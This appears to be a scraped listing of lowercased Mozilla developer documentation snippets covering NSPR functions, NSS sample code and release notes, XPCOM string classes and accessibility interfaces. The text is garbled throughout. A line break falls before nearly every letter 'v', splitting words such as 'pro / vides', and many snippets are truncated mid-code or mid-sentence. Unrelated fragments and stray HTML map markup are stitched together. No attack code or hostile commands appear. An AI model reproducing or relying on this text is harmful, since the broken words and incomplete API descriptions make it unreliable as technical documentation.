vileged scripts cannot invoke the cut, copy, and paste commands in midas, which is mozilla's rich text editor component.
Creating a Cookie Log
original document information author(s): mike connor last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
IPC Semaphores
nspr pro
vides an interprocess communication mechanism using a counting semaphore model similar to that which is pro
vided in unix and windows platforms.
I/O Types
different kinds of i/o objects (such as files and sockets) have different i/o methods tables, thus implementing different beha
vior in response to the same i/o function call.
Monitors
in addition to the mutex type prlock, nspr pro
vides a special type, prmonitor, for use in java programming.
PLHashAllocOps
ze); void (pr_callback *freetable)(void *pool, void *item); plhashentry *(pr_callback *allocentry)(void *pool, const void *key); void (pr_callback *freeentry)(void *pool, plhashentry *he, pruintn flag); } plhashallocops; #define ht_free_value 0 /* just free the entry's value */ #define ht_free_entry 1 /* free value and entire entry */ description users of the hash table functions can pro
vide their own memory allocation functions.
PRAddrInfo
typically, a praddrinfo object will be found
via pr_getaddrinfobyname, iterated through using pr_enumerateaddrinfo, and finally freed with pr_freeaddrinfo.
PRCList
syntax #include <prclist.h> typedef struct prcliststr prclist; typedef struct prcliststr { prclist *next; prclist *pre
vious; }; description prclist defines a node in a circular linked list.
PRErrorCode
syntax #include <prerror.h> typedef print32 prerrorcode description the ser
vice nspr offers in this area is the ability to associate a thread-specific condition with an error number.
PRFileInfo
description the prfileinfo structure pro
vides information about a file, a directory, or some other kind of file system object, as specified by the type field.
PRFileInfo64
description the prfileinfo64 structure pro
vides information about a file, a directory, or some other kind of file system object, as specified by the type field.
PRLogModuleInfo
to log your program's acti
vity, create a prlogmoduleinfo structure using pr_newlogmodule .
PR_OpenSharedMemory
description pr_opensharedmemory creates a new shared memory segment or associates a pre
viously created memory segment with the specified name.
PR_QueueJob
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob( prthreadpool *tpool, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure pre
viously created by a call to pr_createthreadpool.
PR_QueueJob_Accept
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_accept( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure pre
viously created by a call to pr_createthreadpool.
PR_QueueJob_Connect
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_connect( prthreadpool *tpool, prjobiodesc *iod, const prnetaddr *addr, prjobfn fn, void * arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure pre
viously created by a call to pr_createthreadpool.
PR_QueueJob_Read
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_read( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure pre
viously created by a call to pr_createthreadpool.
PR_QueueJob_Timer
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_timer( prthreadpool *tpool, printervaltime timeout, prjobfn fn, void * arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure pre
viously created by a call to pr_createthreadpool.
PR_QueueJob_Write
syntax #include <prtpool.h> nspr_api(prjob *) pr_queuejob_write( prthreadpool *tpool, prjobiodesc *iod, prjobfn fn, void *arg, prbool joinable ); parameters the function has the following parameters: tpool a pointer to a prthreadpool structure pre
viously created by a call to pr_createthreadpool.
PR_ReadDir
the reason can be retrieved
via pr_geterror.
PR_RmDir
the actual reason can be retrieved
via pr_geterror.
PR_SetErrorText
if there is error text already present in the thread, the pre
vious value is first deleted.
PR_SetLibraryPath
this allows an en
vironment to express policy decisions globally and lazily, rather than hardcoding and distributing the decisions throughout the code.
PR_SetLogBuffering
the application can use the model pro
vided in use example to effect application logging.
PR_SetLogFile
the application can use the model pro
vided in use example to effect application logging.
NSS 3.54 release notes
introduction the nss team has released network security ser
vices (nss) 3.54 on 26 june 2020, which is a minor release.
NSS 3.56 release notes
introduction the nss team has released network security ser
vices (nss) 3.56 on 21 august 2020, which is a minor release.
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
\n"); goto cleanup; } break; case save_cert_to_header: validatesavecerttoheadercommand(progname, dbdir, nicknamestr, headerfilename); /* save cert to the header file */ rv = addcertificatetoheader(slot, &pwdata, headerfilename, certhandle, nicknamestr, sigverify); if (rv != secsuccess) { pr_fprintf(pr_stderr, "sa
ving certificate to header: failed\n"); goto cleanup; } break; case encrypt: validateencryptcommand(progname, dbdir, nicknamestr, headerfilename, infilename, encryptedfilename); /* encrypt with public key from cert in header file */ rv = findkeyandencrypt(slot, &pwdata, headerfilename, encryptedfilename, infilename); if (rv != s...
NSS Sample Code Utilities_1
!(*ok)(phrase)) { if (!istty) return 0; fprintf(output, "password must be at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepasswd extracts the password from a text file * * storing passwords is often used with server en
vironments * where prompting the user for a password or requiring it * to be entered in the command line is not a feasible option.
NSS Sample Code sample3
secret key */ cout << "part 2 -- hashing with included secret key" << endl; /* initialize data */ memset(data, 0xbc, sizeof data); /* create a key */ key = pk11_keygen(slot, ckm_generic_secret_key_gen, 0, 128, 0); if (!key) { cout << "create key failed" << endl; goto done; } cout << (void *)key << endl; /* create parameters for crypto context */ /* note: params must be pro
vided, but may be empty */ secitem noparams; noparams.type = sibuffer; noparams.data = 0; noparams.len = 0; /* create context using the same slot as the key */ // context = pk11_createdigestcontext(sec_oid_md5); context = pk11_createcontextbysymkey(ckm_md5, cka_digest, key, &noparams); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(...
sample2
, ascii); if (rv != secsuccess) { pr_fprintf(pr_stderr, "add certificate to db: failed\n"); goto cleanup; } break; case save_cert_to_header: validatesavecerttoheadercommand(progname, dbdir, nicknamestr, headerfilename); /* save cert to the header file */ rv = addcertificatetoheader(slot, &pwdata, headerfilename, certhandle, nicknamestr, sigverify); if (rv != secsuccess) { pr_fprintf(pr_stderr, "sa
ving certificate to header: failed\n"); goto cleanup; } break; case encrypt: validateencryptcommand(progname, dbdir, nicknamestr, headerfilename, infilename, encryptedfilename); /* encrypt with public key from cert in header file */ rv = findkeyandencrypt(slot, &pwdata, headerfilename, encryptedfilename, infilename); if (rv != secsuccess) { pr_fprintf(pr_stderr, "find public key and encrypt : failed...
NSS Sample Code
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 you are welcome to download the new samples
via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch the new samples: /docs/mozilla/projects/nss/new_nss_samples ...
nss tech note3
cert extensions: one
vital certificate extension is the "basic constraints" extension.
nss tech note6
any offer of binary support that may have been pre
viously made to you by nss developers is null and void.
NSS Tech Notes
nss technical notes newsgroup: mozilla.dev.tech.crypto nss technical notes pro
vide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
PKCS 12 functions
the mozilla cross reference (mxr) link for each function pro
vides access to the function definition, prototype definition, and source code references.
PKCS 7 functions
the mozilla cross reference (mxr) link for each function pro
vides access to the function definition, prototype definition, and source code references.
Installation guide
if you install the libraries in a directory other than /usr/lib, you usually need to set the ld_library_path en
vironment variable.
Sample manual installation
/usr/include, /usr/lib and /usr/bin for a linux system), you need to edit the corresponding en
vironment variables or compiler/linker arguments.
FC_Decrypt
description fc_decrypt decrypts a block of data according to the attributes of the pre
vious call to fc_decryptinit.
NS_Free
remarks this function pro
vides a convenient way to access the xpcom memory manager.
NS_NewLocalFile
« xpcom api reference summary the ns_newlocalfile function creates an instance of nsilocalfile that pro
vides a platform independent representation of a file path.
NS_NewNativeLocalFile
« xpcom api reference summary the ns_newnativelocalfile function creates an instance of nsilocalfile that pro
vides a platform independent representation of a file path.
NS ConvertASCIItoUTF16 external
class declaration method over
view constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find ...
NS ConvertUTF16toUTF8 external
class declaration method over
view constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
NS ConvertUTF8toUTF16 external
class declaration method over
view constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find ...
NS LossyConvertUTF16toASCII external
class declaration method over
view constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
NS_OVERRIDE
example class a has a method getfoo() which is overridden by class b: class a {
virtual nsresult getfoo(nsifoo** aresult); }; class b : public a { ns_override
virtual nsresult getfoo(nsifoo** aresult); }; later, the signature of a::getfoo() is changed to remove the output parameter: class a { -
virtual nsresult getfoo(nsifoo** aresult); +
virtual already_addrefed<nsifoo> getfoo(); }; b::getfoo() no longer overrides a::getfoo() as was originally intended.
PromiseFlatCString (External)
class declaration method over
view get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar ...
PromiseFlatString (External)
class declaration method over
view get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind ...
nsACString (External)
" shape="rect" title="ns_convertutf16toutf8_external"> <area alt="" coords="499,294,779,342" href="http://developer.mozilla.org/en/ns_lossyconvertutf16toascii_external" shape="rect" title="ns_lossyconvertutf16toascii_external"> <area alt="" coords="803,294,925,342" href="http://developer.mozilla.org/en/nsliteralcstring_(external)" shape="rect" title="nsliteralcstring_(external)"></map> method over
view beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut tru...
nsACString_internal
developer.mozilla.org/en/ns_lossyconvertutf16toascii" shape="rect" title="ns_lossyconvertutf16toascii"> <area alt="" coords="251,389,435,437" href="http://developer.mozilla.org/en/ns_convertutf16toutf8" shape="rect" title="ns_convertutf16toutf8"> <area alt="" coords="309,293,445,341" href="http://developer.mozilla.org/en/nsadoptingcstring" shape="rect" title="nsadoptingcstring"> </map> method over
view constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign...
nsAString_internal
ref="http://developer.mozilla.org/en/ns_convertasciitoutf16" shape="rect" title="ns_convertasciitoutf16"> <area alt="" coords="216,389,400,437" href="http://developer.mozilla.org/en/ns_convertutf8toutf16" shape="rect" title="ns_convertutf8toutf16"> <area alt="" coords="277,293,405,341" href="http://developer.mozilla.org/en/nsadoptingstring" shape="rect" title="nsadoptingstring"> </map> method over
view constructors beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign...
nsAutoString (External)
class declaration method over
view get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind ...
nsCAutoString (External)
class declaration method over
view get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar ...
nsCStringContainer (External)
class declaration method over
view beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare(const char*, print32 (*) compare(const nsacstring&, print32 (*) equals(const char*, print32 (*) equals(const nsacstring&, print32 (*) operator< operator<= operator== operator>= opera...
nsCString external
class declaration method over
view constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
nsDependentCString external
class declaration method over
view constructors rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind ...
nsDependentCSubstring
names: nsdependentsubstring for wide characters nsdependentcsubstring for narrow characters method over
view constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(con...
nsDependentCSubstring external
class declaration method over
view constructors rebind beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfi...
nsDependentString external
class declaration dependent strings method over
view constructors rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowe...
nsDependentSubstring
names: nsdependentsubstring for wide characters nsdependentcsubstring for narrow characters method over
view constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(con...
nsDependentSubstring external
class declaration substrings method over
view constructors rebind beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare(const prunichar*, print32 (*) compare(const nsastring&, print32 (*) equals(const prunichar*, print32 (*) equals(const nsastring&, print32 (*) operator< operator...
nsEmbedCString
« xpcom api reference summary the nsembedcstring concrete class pro
vides a way to construct a nsacstring object that allocates null-terminated storage.
nsEmbedString
« xpcom api reference summary the nsembedstring concrete class pro
vides a way to construct a nsastring object that allocates null-terminated storage.
nsLiteralCString (External)
class declaration method over
view rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
nsLiteralString (External)
class declaration method over
view rebind get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar ...
nsStringContainer (External)
class declaration method over
view beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar...
nsString external
class declaration basic strings method over
view constructors get operator= adopt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral ...
IAccessibleRelation
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) method over
view [propget] hresult localizedrelationtype([out] bstr localizedrelationtype ); [propget] hresult ntargets([out] long ntargets ); [propget] hresult relationtype([out] bstr relationtype ); [propget] hresult target([in] long targetindex, [out] iunknown target ); [propget] hresult targets([in] long maxtargets, [out, size_is(maxtargets), length_is( ntargets)] iunknown targets, [out] long ntargets ); methods localizedrelationtype() returns a localized version of the relation type.
IAccessibleTableCell
1.0 66 introduced gecko 1.9.2 inherits from: iunknown last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view [propget] hresult columnextent([out] long ncolumnsspanned ); [propget] hresult columnheadercells([out, size_is(, ncolumnheadercells,)] iunknown cellaccessibles, [out] long ncolumnheadercells ); [propget] hresult columnindex([out] long columnindex ); [propget] hresult isselected([out] boolean isselected ); [propget] hresult rowcolumnextents([out] long row, [out] long column, [out] long rowextents, [out] long columnextents, [out] boolean isselected ); [propget] hresult rowextent([out...
IAccessibleValue
method over
view [propget] hresult currentvalue([out] variant currentvalue ); [propget] hresult maximumvalue([out] variant maximumvalue ); [propget] hresult minimumvalue([out] variant minimumvalue ); hresult setcurrentvalue([in] variant value ); methods currentvalue() returns the value of this object as a number.
amIInstallCallback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void oninstallended(in astring aurl, in print32 astatus); methods oninstallended() called when an install completes or fails.
amIInstallTrigger
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view boolean enabled(); boolean install(in nsivariant aargs, [optional] in amiinstallcallback acallback); boolean installchrome(in pruint32 atype, in astring aurl, in astring askin); deprecated since gecko 2.0 boolean startsoftwareupdate(in astring aurl, [optional] in print32 aflags); deprecated since gecko 2.0 boolean updateenabled(); deprecated since gecko 2.0 constants retained for backwards compatibility.
amIWebInstallInfo
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void install(); attributes attribute type description installs nsivariant an array of addoninstall objects.
amIWebInstallPrompt
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method over
view void confirm(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow.
amIWebInstaller
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method over
view boolean installaddonsfromwebpage(in astring amimetype, in nsidomwindow awindow, in nsiuri areferer, [array, size_is(ainstallcount)] in wstring auris, [array, size_is(ainstallcount)] in wstring ahashes, [array, size_is(ainstallcount)] in wstring anames, [array, size_is(ainstallcount)] in wstring aicons, [optional] in amiinstallcallback acallback, [optional] in pruint32 ainstallcount); boolean isinstallenabled(in astring amimetype, in nsiuri areferer); note: pr...
imgILoader
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a ser
vice: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getser
vice(components.interfaces.imgiloader); method over
view imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidec...
imgIRequest
inherits from: nsirequest last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method over
view void cancelandforgetobserver(in nsresult astatus); imgirequest clone(in imgidecoderobserver aobserver); void decrementanimationconsumers(); imgirequest getstaticrequest(); void incrementanimationconsumers(); void lockimage(); void requestdecode(); void unlockimage(); attributes attribute type description corsmode long the cors mode that this image was loaded with.
mozIStorageBindingParams
method over
view void bindbyindex(in unsigned long aindex, in nsivariant avalue); void bindblobbyindex(in unsigned long aindex, [array, const, size_is(avaluesize)] in octet avalue, in unsigned long avaluesize); void binddoublebyindex(in unsigned long aindex, in double avalue); native code only!
mozIStorageBindingParamsArray
method over
view void addparams(in mozistoragebindingparams aparameters); mozistoragebindingparams newbindingparams(); attributes attribute type description length unsigned long the number of mozistoragebindingparams objects in the array.
mozIStorageCompletionCallback
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports method over
view void complete(); methods complete() called when an asynchronous storage routine has completed.
mozIStorageProgressHandler
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view boolean onprogress(in mozistorageconnection aconnection); methods onprogress() the onprogress() method is called periodically while an sqlite operation is ongoing.
mozIStorageResultSet
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method over
view mozistoragerow getnextrow(); methods getnextrow() returns the next row from the result set.
mozIStorageRow
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: mozistoragevaluearray method over
view nsivariant getresultbyindex(in unsigned long aindex); nsivariant getresultbyname(in autf8string aname); methods getresultbyindex() returns the value from a specific column in the row, using a zero-based index to identify the column.
mozIStorageStatementParams
example, say you create a statement like so: var statement = dbconn.createstatement("select * from table_name where id = :item_id"); this object would have one property, item_id, that you can use to bind a value to that named parameter like so: statement.params.item_id = 2; for more details on why you should bind parameters as opposed to hard-coding them into your statement, please see the over
view document about binding parameters.
mozITXTToHTMLConv
last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) inherits from nsistreamconverter implemented by @mozilla.org/txttohtmlconv;1 as a ser
vice: var ios = components.classes["@mozilla.org/txttohtmlconv;1"] .getser
vice(components.interfaces.mozitxttohtmlconv); method over
view unsigned long citeleveltxt(in wstring line, out unsigned long loglinestart) void findurlinplaintext(in wstring text, in long alength, in long apos, out long astartpos, out long aendpos) wstring scanhtml(in wstring...
nsIAbCard
inherits from: nsisupports method over
view astring getcardvalue(in string name) void setcardvalue(in string attrname, in astring value) void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) string converttobase64encodedxml() astring converttoxmlprintdata() string converttoescapedvcard() astring generatename(in long agenerateformat,[optional] in nsistrin...
ChildCount
attribute long childcount; see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.pre
vioussibling ...
Children
see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.pre
vioussibling ...
DefaultKeyBinding
« nsiaccessible page summary pro
vides localized string of global keyboard accelerator for default action, such as ctrl+o for open file (ctrl + o).
FirstChild
see also nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.pre
vioussibling ...
GetAccessibleRelated
return value returns an accessible which is related to the one pro
vided by the given relation type.
GetChildAt
see also nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.pre
vioussibling ...
GetKeyBindings
« nsiaccessible page summary this method pro
vides array of localized string of global keyboard accelerator for the given action index supported by accessible.
KeyboardShortcut
« nsiaccessible page summary pro
vides localized string of accesskey name, such as alt+d (alt + d).
LastChild
see also nsiaccessible.firstchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() nsiaccessible.parent nsiaccessible.nextsibling nsiaccessible.pre
vioussibling ...
NextSibling
see also nsiaccessible.parent nsiaccessible.pre
vioussibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
Parent
see also nsiaccessible.nextsibling nsiaccessible.pre
vioussibling nsiaccessible.firstchild nsiaccessible.lastchild nsiaccessible.children nsiaccessible.childcount nsiaccessible.getchildat() ...
TakeFocus
it is the callers responsibility to determine whether this node is focusable.acctakefocus on a node that is not normally focusable (such as a table), will still set focus on that node, although normally that will not be
visually indicated in most style sheets.
nsIAccessibleDocument
you can also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() method over
view nsiaccessible getaccessibleinparentchain(in nsidomnode adomnode, in boolean acancreate); obsolete since gecko 2.0 nsiaccessnode getcachedaccessnode(in voidptr auniqueid); native code only!
nsIAccessibleEditableText
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void copytext(in long startpos, in long endpos); void cuttext(in long startpos, in long endpos); void deletetext(in long startpos, in long endpos); void inserttext(in astring text, in long position); void pastetext(in long position); void setattributes(in long startpos, in long endpos, in nsisupports attributes); unimplemented void...
nsIAccessibleImage
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void getimageposition(in unsigned long coordtype, out long x, out long y); void getimagesize(out long width, out long height); methods getimageposition() returns the coordinates of the image accessible.
nsIAccessibleRelation
method over
view nsiaccessible gettarget(in unsigned long index); nsiarray gettargets(); attributes attribute type description relationtype unsigned long returns the type of the relation.
nsIAccessibleRetrieval
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsiaccessible getaccessiblefor(in nsidomnode anode); nsiaccessible getaccessibleinshell(in nsidomnode anode, in nsipresshell apresshell); nsiaccessible getaccessibleinweakshell(in nsidomnode anode, in nsiweakreference apresshell); obsolete since gecko 2.0 nsiaccessible getaccessibleinwindow(in nsidomnode anode, in nsidomwindow adomwin); obsolete since gecko 2.0 nsiaccessible getapplicationaccessible(); nsiaccessible getattachedaccessible...
nsIAccessibleScrollType
scroll_type_anywhere 0x06 scroll an object the minimum amount necessary in order for the entire frame to be
visible (if possible).
nsIAccessibleSelectable
inherits from: nsisupports last changed in gecko 1.7 method over
view void addchildtoselection(in long index); void clearselection(); nsiarray getselectedchildren(); boolean ischildselected(in long index); nsiaccessible refselection(in long index); void removechildfromselection(in long index); boolean selectallselection(); attributes attribute type description selectioncount long the number of accessible children currently selected.
nsIAccessibleStateChangeEvent
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view boolean isenabled(); boolean isextrastate(); attributes attribute type description state unsigned long returns the state of accessible (see constants declared in nsiaccessiblestates).
nsIAccessibleTableCell
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view boolean isselected(); attributes attribute type description columnextent long return the number of columns occupied by this cell.
nsIAccessibleTextChangeEvent
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view boolean isinserted(); attributes attribute type description length unsigned long returns length of changed text.
nsIAccessibleValue
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view boolean setcurrentvalue(in double value); obsolete since gecko 1.9 attributes attribute type description currentvalue double maximumvalue double read only.
nsIAppShell
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void create(inout int argc, inout string argv); obsolete since gecko 1.9 void dispatchnativeevent(in prbool arealevent, in voidptr aevent); obsolete since gecko 1.9 void exit(); void favorperformancehint(in boolean favorperfoverstarvation, in unsigned long starvationdelay); void getnativeevent(in prboolref arealevent, in voidptrref aevent); obsolete since gecko 1.9 void listentoeventqueue(in nsieventqueue aqueue, in prbool alisten); obsolete since gecko 1.9 void resumenative(); void r...
nsIApplicationCacheContainer
see also offline resources in firefox nsiapplicationcache nsiapplicationcachechannel nsiapplicationcacheser
vice nsiapplicationcachenamespace nsidomofflineresourcelist ...
nsIAsyncStreamCopier
inherits from: nsirequest last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view void asynccopy(in nsirequestobserver aobserver, in nsisupports aobservercontext); void init(in nsiinputstream asource, in nsioutputstream asink, in nsieventtarget atarget, in boolean asourcebuffered, in boolean asinkbuffered, in unsigned long achunksize, in boolean aclosesource, in boolean aclosesink); methods asynccopy() starts the copy operation.
nsIAsyncVerifyRedirectCallback
method over
view void onredirectverifycallback(in nsresult result); methods onredirectverifycallback() implements the asynchronous callback passed to nsichanneleventsink.asynconchannelredirect().
nsIAuthPromptCallback
method over
view void onauthavailable(in nsisupports acontext, in nsiauthinformation aauthinfo); void onauthcancelled(in nsisupports acontext, in boolean usercancel); methods onauthavailable() authentication information is available.
nsIAuthPromptWrapper
last changed in gecko 1.7 inherits from: nsiauthprompt method over
